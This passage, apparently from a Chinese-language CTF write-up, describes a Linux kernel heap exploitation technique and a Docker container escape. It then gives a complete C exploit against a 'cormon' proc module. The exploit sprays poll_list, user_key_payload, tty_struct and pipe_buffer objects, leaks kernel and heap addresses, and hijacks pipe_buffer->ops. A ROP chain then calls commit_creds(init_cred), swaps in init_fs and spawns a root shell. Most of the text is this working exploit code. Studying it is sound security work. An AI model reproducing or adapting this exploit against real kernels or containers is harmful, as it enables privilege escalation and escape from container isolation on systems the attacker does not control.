    趁 poll_list 还没有释放,释放 tty_struct 并申请 pipe_buffer ,将 target_object(tty_struct) 替换为 pipe_buffer 。

    struct pipe_buffer {
    	struct page *page;
    	unsigned int offset, len;
    	const struct pipe_buf_operations *ops;
    	unsigned int flags;
    	unsigned long private;
    };

    之后 poll_list 释放导致 target_object - 0x18 区域释放。我们可以申请一个 0x400 大小的 user_key_payload 劫持 target_object - 0x18 ,从而劫持 pipe_buffer->ops 实现控制流劫持。

    docker逃逸

    具体实现为修改 task_struct 的 fs 指向 init_fs 。用 find_task_by_vpid() 来定位Docker容器任务,我们用switch_task_namespaces()。但这还不足以从容器中逃逸。在Docker容器中,setns() 被seccomp默认屏蔽了,我们可以克隆 init_fs 结构,然后用find_task_by_vpid()定位当前任务,用 gadget 手动安装新fs_struct。

        // commit_creds(&init_creds)
       *rop++ = pop_rdi_ret;
       *rop++ = init_cred;
       *rop++ = commit_creds;

       // current = find_task_by_vpid(getpid())
       *rop++ = pop_rdi_ret;
       *rop++ = getpid();
       *rop++ = find_task_by_vpid;

       // current->fs = &init_fs
       *rop++ = pop_rcx_ret;
       *rop++ = 0x6e0;
       *rop++ = add_rax_rcx_ret;
       *rop++ = pop_rbx_ret;
       *rop++ = init_fs;
       *rop++ = mov_mmrax_rbx_pop_rbx_ret;
       rop++;

    exp

    #ifndef _GNU_SOURCE
    #define _GNU_SOURCE
    #endif

    #include <asm/ldt.h>
    #include <assert.h>
    #include <ctype.h>
    #include <errno.h>
    #include <fcntl.h>
    #include <linux/keyctl.h>
    #include <linux/userfaultfd.h>
    #include <poll.h>
    #include <pthread.h>
    #include <sched.h>
    #include <semaphore.h>
    #include <signal.h>
    #include <stdbool.h>
    #include <stdint.h>
    #include <stdio.h>
    #include <stdlib.h>
    #include <string.h>
    #include <sys/ioctl.h>
    #include <sys/ipc.h>
    #include <sys/mman.h>
    #include <sys/msg.h>
    #include <sys/prctl.h>
    #include <sys/sem.h>
    #include <sys/shm.h>
    #include <sys/socket.h>
    #include <sys/syscall.h>
    #include <sys/types.h>
    #include <sys/wait.h>
    #include <sys/xattr.h>
    #include <unistd.h>
    #include <sys/sysinfo.h>

    #define PAGE_SIZE 0x1000

    int randint(int min, int max) {
       return min + (rand() % (max - min));
    }

    void bind_core(bool fixed, bool thread) {
       cpu_set_t cpu_set;
       CPU_ZERO(&cpu_set);
       CPU_SET(fixed ? 0 : randint(1, get_nprocs()), &cpu_set);
       if (thread) {
           pthread_setaffinity_np(pthread_self(), sizeof(cpu_set), &cpu_set);
       } else {
           sched_setaffinity(getpid(), sizeof(cpu_set), &cpu_set);
       }
    }

    void qword_dump(char *desc, void *addr, int len) {
       uint64_t *buf64 = (uint64_t *) addr;
       uint8_t *buf8 = (uint8_t *) addr;
       if (desc != NULL) {
           printf("[*] %s:\n", desc);
       }
       for (int i = 0; i < len / 8; i += 4) {
           printf("  %04x", i * 8);
           for (int j = 0; j < 4; j++) {
               i + j < len / 8 ? printf(" 0x%016lx", buf64[i + j]) : printf("                   ");
           }
           printf("   ");
           for (int j = 0; j < 32 && j + i * 8 < len; j++) {
               printf("%c", isprint(buf8[i * 8 + j]) ? buf8[i * 8 + j] : '.');
           }
           puts("");
       }
    }

    bool is_kernel_text_addr(size_t addr) {
       return addr >= 0xFFFFFFFF80000000 && addr <= 0xFFFFFFFFFEFFFFFF;
    //    return addr >= 0xFFFFFFFF80000000 && addr <= 0xFFFFFFFF9FFFFFFF;
    }

    bool is_dir_mapping_addr(size_t addr) {
       return addr >= 0xFFFF888000000000 && addr <= 0xFFFFc87FFFFFFFFF;
    }

    #define INVALID_KERNEL_OFFSET 0x1145141919810

    const size_t kernel_addr_list[] = {
           0xffffffff813275c0,
           0xffffffff812d4320,
           0xffffffff812d4340,
           0xffffffff812d4330
    };

    size_t kernel_offset_query(size_t kernel_text_leak) {
       if (!is_kernel_text_addr(kernel_text_leak)) {
           return INVALID_KERNEL_OFFSET;
       }
       for (int i = 0; i < sizeof(kernel_addr_list) / sizeof(kernel_addr_list[0]); i++) {
           if (!((kernel_text_leak ^ kernel_addr_list[i]) & 0xFFF)
               && (kernel_text_leak - kernel_addr_list[i]) % 0x100000 == 0) {
               return kernel_text_leak - kernel_addr_list[i];
           }
       }
       printf("[-] unknown kernel addr: %#lx\n", kernel_text_leak);
       return INVALID_KERNEL_OFFSET;
    }

    size_t search_kernel_offset(void *buf, int len) {
       size_t *search_buf = buf;
       for (int i = 0; i < len / 8; i++) {
           size_t kernel_offset = kernel_offset_query(search_buf[i]);
           if (kernel_offset != INVALID_KERNEL_OFFSET) {
               printf("[+] kernel leak addr: %#lx\n", search_buf[i]);
               printf("[+] kernel offset: %#lx\n", kernel_offset);
               return kernel_offset;
           }
       }
       return INVALID_KERNEL_OFFSET;
    }

    size_t user_cs, user_rflags, user_sp, user_ss;

    void save_status() {
       __asm__("mov user_cs, cs;"
               "mov user_ss, ss;"
               "mov user_sp, rsp;"
               "pushf;"
               "pop user_rflags;");
       puts("[*] status has been saved.");
    }

    typedef struct {
       int nfds, timer;
    } poll_args;

    struct poll_list {
       struct poll_list *next;
       int len;
       struct pollfd entries[];
    };

    pthread_mutex_t mutex = PTHREAD_MUTEX_INITIALIZER;
    size_t poll_threads, poll_cnt;

    void *alloc_poll_list(void *args) {
       int nfds = ((poll_args *) args)->nfds;
       int timer = ((poll_args *) args)->timer;

       struct pollfd *pfds = calloc(nfds, sizeof(struct pollfd));
       for (int i = 0; i < nfds; i++) {
           pfds[i].fd = open("/etc/passwd", O_RDONLY);
           pfds[i].events = POLLERR;
       }

       bind_core(true, true);

       pthread_mutex_lock(&mutex);
       poll_threads++;
       pthread_mutex_unlock(&mutex);
       poll(pfds, nfds, timer);

       bind_core(false, true);

       pthread_mutex_lock(&mutex);
       poll_threads--;
       pthread_mutex_unlock(&mutex);
    }

    #define N_STACK_PPS 30
    #define POLL_NUM 0x1000

    pthread_t poll_tid[POLL_NUM];

    void create_poll_thread(size_t size, int timer) {
       poll_args *args = calloc(1, sizeof(poll_args));
       args->nfds =
           (size - (size + PAGE_SIZE - 1) / PAGE_SIZE * sizeof(struct poll_list)) / sizeof(struct pollfd)
           + N_STACK_PPS;
       args->timer = timer;
       pthread_create(&poll_tid[poll_cnt++], 0, alloc_poll_list, args);
    }

    void wait_poll_start() {
       while (poll_threads != poll_cnt);
    }

    void join_poll_threads(void (*confuse)(void *), void *confuse_args) {
       for (int i = 0; i < poll_threads; i++) {
           pthread_join(poll_tid[i], NULL);
           if (confuse != NULL) {
               confuse(confuse_args);
           }
       }
       poll_cnt = poll_threads = 0;
    }

    struct callback_head {
       struct callback_head *next;

       void (*func)(struct callback_head *head);
    } __attribute__((aligned(sizeof(void *))));

    #define rcu_head callback_head
    #define __aligned(x)                    __attribute__((__aligned__(x)))
    typedef unsigned long long u64;

    struct user_key_payload {
       struct rcu_head rcu;        /* RCU destructor */
       unsigned short datalen;    /* length of this data */
       char data[0] __aligned(__alignof__(u64)); /* actual data */
    };

    #define KEY_NUM 199
    int key_id[KEY_NUM];

    int key_alloc(int id, void *payload, int payload_len) {
       char description[0x10] = {};
       sprintf(description, "%d", id);
       return key_id[id] =
           syscall(__NR_add_key, "user", description, payload,
                   payload_len - sizeof(struct user_key_payload), KEY_SPEC_PROCESS_KEYRING);
    }

    int key_update(int id, void *payload, size_t plen) {
       return syscall(__NR_keyctl, KEYCTL_UPDATE, key_id[id], payload, plen);
    }

    int key_read(int id, void *bufer, size_t buflen) {
       return syscall(__NR_keyctl, KEYCTL_READ, key_id[id], bufer, buflen);
    }

    int key_revoke(int id) {
       return syscall(__NR_keyctl, KEYCTL_REVOKE, key_id[id], 0, 0, 0);
    }

    int key_unlink(int id) {
       return syscall(__NR_keyctl, KEYCTL_UNLINK, key_id[id], KEY_SPEC_PROCESS_KEYRING);
    }

    struct list_head {
       struct list_head *next, *prev;
    };
    struct tty_file_private {
       struct tty_struct *tty;
       struct file *file;
       struct list_head list;
    };

    struct page;
    struct pipe_inode_info;
    struct pipe_buf_operations;

    struct pipe_bufer {
       struct page *page;
       unsigned int offset, len;
       const struct pipe_buf_operations *ops;
       unsigned int flags;
       unsigned long private;
    };

    struct pipe_buf_operations {
       int (*confirm)(struct pipe_inode_info *, struct pipe_bufer *);
       void (*release)(struct pipe_inode_info *, struct pipe_bufer *);
       int (*try_steal)(struct pipe_inode_info *, struct pipe_bufer *);
       int (*get)(struct pipe_inode_info *, struct pipe_bufer *);
    };

    void get_shell(void) {
       char *args[] = {"/bin/bash", "-i", NULL};
       execve(args[0], args, NULL);
    }

    #define SEQ_NUM (2048 + 128)
    #define TTY_NUM 72
    #define PIPE_NUM 1024

    int cormon_fd;
    char buf[0x20000];

    void seq_confuse(void *args) {
       open("/proc/self/stat", O_RDONLY);
    }

    size_t push_rsi_pop_rsp_ret = 0xFFFFFFFF817AD641;
    size_t pop_rdi_ret = 0xffffffff8116926d;
    size_t init_cred = 0xFFFFFFFF8245A960;
    size_t commit_creds = 0xFFFFFFFF810EBA40;
    size_t pop_r14_pop_r15_ret = 0xffffffff81001615;
    size_t find_task_by_vpid = 0xFFFFFFFF810E4FC0;
    size_t init_fs = 0xFFFFFFFF82589740;
    size_t pop_rcx_ret = 0xffffffff8101f5fc;
    size_t add_rax_rcx_ret = 0xffffffff8102396f;
    size_t mov_mmrax_rbx_pop_rbx_ret = 0xffffffff817e1d6d;
    size_t pop_rbx_ret = 0xffffffff811bce34;
    size_t swapgs_ret = 0xffffffff81a05418;
    size_t iretq = 0xffffffff81c00f97;

    int main() {
       bind_core(true, false);
       save_status();
       signal(SIGSEGV, (void *) get_shell);

       cormon_fd = open("/proc_rw/cormon", O_RDWR);
       if (cormon_fd < 0) {
           perror("[-] failed to open cormon.");
           exit(-1);
       }
       
       size_t kernel_offset;
       int target_key;
       puts("[*] Saturating kmalloc-32 partial slabs...");

       int seq_fd[SEQ_NUM];
       for (int i = 0; i < SEQ_NUM; i++) {
           seq_fd[i] = open("/proc/self/stat", O_RDONLY);
           if (seq_fd[i] < 0) {
               perror("[-] failed to open stat.");
               exit(-1);
           }
           if (i == 2048) {
               puts("[*] Spraying user keys in kmalloc-32...");
               for (int j = 0; j < KEY_NUM; j++) {
                   setxattr("/tmp/exp", "aaaaaa", buf, 32, XATTR_CREATE);
                   key_alloc(j, buf, 32);
                   if (j == 72) {
                       bind_core(false, false);
                       puts("[*] Creating poll threads...");
                       for (int k = 0; k < 14; k++) {
                           create_poll_thread(
                               PAGE_SIZE + sizeof(struct poll_list) + sizeof(struct pollfd),
                               3000);
                       }
                       bind_core(true, false);
                       wait_poll_start();
                   }
               }
               puts("[*] Corrupting poll_list next pointer...");
               write(cormon_fd, buf, PAGE_SIZE);
               puts("[*] Triggering arbitrary free...");
               join_poll_threads(seq_confuse, NULL);
               puts("[*] Overwriting user key size / Spraying seq_operations structures...");
           }
       }
       puts("[*] Leaking kernel pointer...");

       for (int i = 0; i < KEY_NUM; i++) {
           int len = key_read(i, buf, sizeof(buf));
           kernel_offset = search_kernel_offset(buf, len);
           if (kernel_offset != INVALID_KERNEL_OFFSET) {
               qword_dump("dump leak memory", buf, 0x1000);
               target_key = i;
               break;
           }
       }
       if (kernel_offset == INVALID_KERNEL_OFFSET) {
           puts("[-] failed to leak kernel offset,try again.");
           exit(-1);
       }

       push_rsi_pop_rsp_ret += kernel_offset;
       pop_rdi_ret += kernel_offset;
       init_cred += kernel_offset;
       commit_creds += kernel_offset;
       pop_r14_pop_r15_ret += kernel_offset;
       find_task_by_vpid += kernel_offset;
       init_fs += kernel_offset;
       pop_rcx_ret += kernel_offset;
       add_rax_rcx_ret += kernel_offset;
       mov_mmrax_rbx_pop_rbx_ret += kernel_offset;
       pop_rbx_ret += kernel_offset;
       swapgs_ret += kernel_offset;
       iretq += kernel_offset;

       puts("[*] Freeing user keys...");
       for (int i = 0; i < KEY_NUM; i++) {
           if (i != target_key) {
               key_unlink(i);
           }
       }
       sleep(1);

       puts("[*] Spraying tty_file_private / tty_struct structures...");
       int tty_fd[TTY_NUM];
       for (int i = 0; i < TTY_NUM; i++) {
           tty_fd[i] = open("/dev/ptmx", O_RDWR | O_NOCTTY);
           if (tty_fd[i] < 0) {
               perror("[-] failed to open ptmx");
           }
       }

       puts("[*] Leaking heap pointer...");

       size_t target_object = -1;
       int len = key_read(target_key, buf, sizeof(buf));
       qword_dump("dump leak memory", buf, 0x1000);
       for (int i = 0; i < len; i += 8) {
           struct tty_file_private *head = (void *) &buf[i];
           if (is_dir_mapping_addr((size_t) head->tty) && !(((size_t) head->tty) & 0xFF)
               && head->list.next == head->list.prev && head->list.prev != NULL) {
               qword_dump("leak tty_struct addr from tty_file_private", &buf[i],
                          sizeof(struct tty_file_private));
               target_object = (size_t) head->tty;
               printf("[+] tty_struct addr: %p\n", target_object);
               break;
           }
       }
       if (target_object == -1) {
           puts("[-] failed to leak tty_struct addr.");
           exit(-1);
       }

       puts("[*] Freeing seq_operation structures...");
       for (int i = 2048; i < SEQ_NUM; i++) {
           close(seq_fd[i]);
       }

       bind_core(false, false);

       puts("[*] Creating poll threads...");
       for (int i = 0; i < 192; i++) {
           create_poll_thread(sizeof(struct poll_list) + sizeof(struct pollfd), 3000);
       }

       bind_core(true, false);

       wait_poll_start();

       puts("[*] Freeing corrupted key...");
       key_unlink(target_key);
       sleep(1); // GC key

       puts("[*] Overwriting poll_list next pointer...");
       char key[32] = {};
       *(size_t *) &buf[0] = target_object - 0x18;

       for (int i = 0; i < KEY_NUM; i++) {
           setxattr("/tmp/exp", "aaaaaa", buf, 32, XATTR_CREATE);
           key_alloc(i, key, 32);
       }

       puts("[*] Freeing tty_struct structures...");
       for (int i = 0; i < TTY_NUM; i++) {
           close(tty_fd[i]);
       }

       sleep(1); // GC TTYs
       int pipe_fd[PIPE_NUM][2];
       puts("[*] Spraying pipe_bufer structures...");
       for (int i = 0; i < PIPE_NUM; i++) {
           pipe(pipe_fd[i]);
           write(pipe_fd[i][1], "aaaaaa", 6);
       }

       puts("[*] Triggering arbitrary free...");
       join_poll_threads(NULL, NULL);


       ((struct pipe_bufer *) buf)->ops = (void *) (target_object + 0x300);
       ((struct pipe_buf_operations *) &buf[0x300])->release = (void *) push_rsi_pop_rsp_ret;


       size_t *rop = (size_t *) buf;

       *rop++ = pop_r14_pop_r15_ret;
       rop++;
       rop++; // ops

       // commit_creds(&init_creds)
       *rop++ = pop_rdi_ret;
       *rop++ = init_cred;
       *rop++ = commit_creds;

       // current = find_task_by_vpid(getpid())
       *rop++ = pop_rdi_ret;
       *rop++ = getpid();
       *rop++ = find_task_by_vpid;

       // current->fs = &init_fs
       *rop++ = pop_rcx_ret;
       *rop++ = 0x6e0;
       *rop++ = add_rax_rcx_ret;
       *rop++ = pop_rbx_ret;
       *rop++ = init_fs;
       *rop++ = mov_mmrax_rbx_pop_rbx_ret;
       rop++;

       // back to user
       *rop++ = swapgs_ret;
       *rop++ = iretq;
       *rop++ = (uint64_t) get_shell;
       *rop++ = user_cs;
       *rop++ = user_rflags;
       *rop++ = user_sp;
       *rop++ = user_ss;

       puts("[*] Spraying ROP chain...");
       for (int i = 0; i < 31; i++) {
           key_alloc(i, buf, 1024);
       }

       puts("[*] Hijacking control flow...");
       for (int i = 0; i < PIPE_NUM; i++) {
           close(pipe_fd[i][0]);
           close(pipe_fd[i][1]);
       }

       sleep(5);

       return 0;
    }

    多试几次还是可以成功的。

      



沪ICP备19023445号-2号
友情链接